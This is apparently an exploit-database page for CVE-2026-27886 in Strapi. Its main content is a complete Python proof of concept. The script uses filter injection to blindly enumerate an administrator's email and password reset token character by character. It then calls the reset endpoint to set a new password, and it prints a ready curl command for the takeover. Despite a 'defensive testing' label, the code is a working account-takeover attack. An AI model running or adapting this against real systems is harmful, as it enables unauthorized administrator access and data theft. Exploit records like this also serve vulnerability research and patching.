| Reporter | Title | Published | Views | Family All 20 |
|---|---|---|---|---|
| Exploit for Exposure of Sensitive Information to an Unauthorized Actor in Strapi | 1 Jun 202613:07 | – | githubexploit | |
| Exploit for Exposure of Sensitive Information to an Unauthorized Actor in Strapi | 22 May 202619:07 | – | githubexploit | |
| Exploit for Exposure of Sensitive Information to an Unauthorized Actor in Strapi | 8 Jun 202612:55 | – | githubexploit | |
| CVE-2026-27886 | 25 May 202619:21 | – | circl | |
| Strapi 路径遍历漏洞 | 14 May 202600:00 | – | cnnvd | |
| CVE-2026-27886 | 14 May 202618:43 | – | cve | |
| CVE-2026-27886 Strapi may leak sensitive data via relational filtering due to lack of query sanitization | 14 May 202618:43 | – | cvelist | |
| EUVD-2026-30366 | 14 May 202618:43 | – | euvd | |
| Strapi may leak sensitive data via relational filtering due to lack of query sanitization | 14 May 202613:17 | – | github | |
| CVE-2026-27886 | 14 May 202619:16 | – | nvd |
==================================================================================================================================
| # Title : Strapi Filter Injection Administrator Password Reset |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://strapi.io/ |
==================================================================================================================================
[+] Summary : This tool assesses whether filter injection weaknesses can impact administrator account recovery workflows in Strapi deployments (CVE-2026-27886).
It validates exposure conditions, evaluates enumeration risks,and analyzes password reset flow behavior for defensive security testing.
[+] POC :
#!/usr/bin/env python3
import argparse
import json
import sys
import urllib.error
import urllib.parse
import urllib.request
import time
import re
USER_AGENT = "CVE-2026-27886-Exploit/1.0"
EMAIL_ALPHABET = "[email protected]_+"
TOKEN_ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_:."
class ExploitError(Exception):
pass
def http_get_json(url, timeout=10):
"""Perform GET request and return JSON response"""
req = urllib.request.Request(url, headers={"User-Agent": USER_AGENT})
try:
with urllib.request.urlopen(req, timeout=timeout) as r:
body = r.read().decode("utf-8")
return json.loads(body)
except Exception as e:
raise ExploitError(f"Request failed: {e}")
def http_post_json(url, data, timeout=10):
"""Perform POST request with JSON body"""
headers = {
"User-Agent": USER_AGENT,
"Content-Type": "application/json"
}
req = urllib.request.Request(url, data=json.dumps(data).encode(), headers=headers)
try:
with urllib.request.urlopen(req, timeout=timeout) as r:
body = r.read().decode("utf-8")
return json.loads(body)
except urllib.error.HTTPError as e:
try:
return json.loads(e.read().decode())
except:
return {"error": f"HTTP {e.code}"}
except Exception as e:
raise ExploitError(f"POST failed: {e}")
def pagination_total(data):
"""Extract total from Strapi pagination meta"""
if not isinstance(data, dict):
return 0
meta = data.get("meta") or {}
pagination = meta.get("pagination") or {}
return int(pagination.get("total") or 0)
def query_count(endpoint, params):
"""Get count of items matching filter parameters"""
url = f"{endpoint}?{urllib.parse.urlencode(params, safe='')}"
return pagination_total(http_get_json(url))
def is_vulnerable(endpoint):
"""Check if target is vulnerable using where[id][$lt]=-1 test"""
baseline = query_count(endpoint, {})
if baseline == 0:
return False, baseline, "Collection empty or no find permission"
test_params = {"where[id][$lt]": "-1"}
test_count = query_count(endpoint, test_params)
vulnerable = (test_count == 0)
return vulnerable, baseline, test_count
def blind_enum_field(endpoint, field_path, prefix="", alphabet=None, max_len=64, delay=0):
"""
Blindly enumerate a field using $startsWith filter
field_path format: "relation[field]" e.g., "updatedBy[email]"
"""
if alphabet is None:
alphabet = EMAIL_ALPHABET
result = prefix
for _ in range(max_len):
found_char = None
for char in alphabet:
candidate = result + char
params = {f"where[{field_path}][$startsWith]": candidate}
try:
count = query_count(endpoint, params)
if count > 0:
found_char = char
print(char, end="", flush=True)
break
except:
continue
if delay:
time.sleep(delay)
if found_char is None:
break
result += found_char
return result
def enumerate_admin_email(endpoint, delay=0):
"""Enumerate administrator email address"""
print("[*] Enumerating admin email: ", end="", flush=True)
email = blind_enum_field(endpoint, "updatedBy[email]", alphabet=EMAIL_ALPHABET, delay=delay)
print()
return email
def enumerate_reset_token(endpoint, admin_email, delay=0):
"""Enumerate password reset token using the admin email as reference"""
verify_params = {f"where[updatedBy][email][$eq]": admin_email}
if query_count(endpoint, verify_params) == 0:
raise ExploitError(f"Could not verify admin email: {admin_email}")
print(f"[*] Enumerating reset token for {admin_email}")
print("[*] Token: ", end="", flush=True)
token_alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_:"
token = blind_enum_field(
endpoint,
"updatedBy[resetPasswordToken]",
alphabet=token_alphabet,
delay=delay
)
print()
return token
def trigger_password_reset(base_url, token, new_password, email):
"""
Trigger the actual password reset using the stolen token
POST /api/auth/reset-password
"""
reset_url = f"{base_url.rstrip('/')}/api/auth/reset-password"
payload = {
"code": token,
"password": new_password,
"passwordConfirmation": new_password
}
print(f"[*] Attempting password reset for {email}")
print(f"[*] POST {reset_url}")
result = http_post_json(reset_url, payload)
if "jwt" in result:
print(f"[+] SUCCESS! New password: {new_password}")
print(f"[+] JWT: {result['jwt']}")
return result.get("jwt")
elif "error" in result:
print(f"[-] Reset failed: {result.get('error', {}).get('message', 'Unknown error')}")
return None
else:
print(f"[-] Unexpected response: {json.dumps(result, indent=2)}")
return None
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-27886 - Full Account Takeover Exploit",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
EXAMPLE:
python3 exploit.py http://target.com --new-password pwned123!
python3 exploit.py http://target.com --enum-only
python3 exploit.py http://target.com --email [email protected] --token abc123
"""
)
parser.add_argument("target", help="Target base URL (e.g., http://target.com)")
parser.add_argument("--collection", default="api/users",
help="Content type collection (default: api/users)")
parser.add_argument("--enum-only", action="store_true",
help="Only enumerate email and token, don't reset password")
parser.add_argument("--new-password", help="New password to set for admin account")
parser.add_argument("--email", help="Skip email enumeration, use provided email")
parser.add_argument("--token", help="Skip token enumeration, use provided token")
parser.add_argument("--delay", type=float, default=0.1,
help="Delay between requests to avoid rate limiting")
args = parser.parse_args()
endpoint = f"{args.target.rstrip('/')}/{args.collection.lstrip('/')}"
print(f"[+] Target endpoint: {endpoint}")
print("\n[+] Testing vulnerability...")
try:
vulnerable, baseline, test = is_vulnerable(endpoint)
except Exception as e:
print(f"[-] Error testing: {e}")
return 1
if not vulnerable:
print(f"[-] NOT VULNERABLE: baseline={baseline}, test={test}")
print(" Target appears patched (Strapi >= 5.37.0)")
return 1
print(f"[+] VULNERABLE confirmed! baseline={baseline}, test={test}")
admin_email = args.email
if not admin_email:
try:
admin_email = enumerate_admin_email(endpoint, args.delay)
if not admin_email or len(admin_email) < 5:
print("[-] Failed to enumerate admin email")
return 1
print(f"[+] Admin email: {admin_email}")
except Exception as e:
print(f"[-] Email enumeration failed: {e}")
return 1
else:
print(f"[+] Using provided email: {admin_email}")
if args.enum_only:
print("[+] Enumeration complete (--enum-only mode)")
return 0
reset_token = args.token
if not reset_token:
try:
reset_token = enumerate_reset_token(endpoint, admin_email, args.delay)
if not reset_token or len(reset_token) < 20:
print("[-] Failed to enumerate reset token")
print("[!] Token may not exist or user hasn't requested password reset")
print("[!] Admin accounts without pending reset tokens cannot be taken over")
return 1
print(f"[+] Reset token: {reset_token}")
except Exception as e:
print(f"[-] Token enumeration failed: {e}")
return 1
else:
print(f"[+] Using provided token: {reset_token}")
if args.new_password:
print(f"\n[+] Attempting account takeover...")
jwt = trigger_password_reset(args.target, reset_token, args.new_password, admin_email)
if jwt:
print(f"\n[+] ACCOUNT TAKEOVER SUCCESSFUL!")
print(f"[+] Login with: {admin_email} / {args.new_password}")
else:
print("\n[-] Account takeover failed!")
return 1
else:
print(f"\n[+] To takeover account, re-run with --new-password <password>")
print(f"[+] Or use: curl -X POST {args.target}/api/auth/reset-password \\")
print(f" -H 'Content-Type: application/json' \\")
print(f" -d '{{\"code\":\"{reset_token}\",\"password\":\"newpass\"}}'")
return 0
if __name__ == "__main__":
sys.exit(main())
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation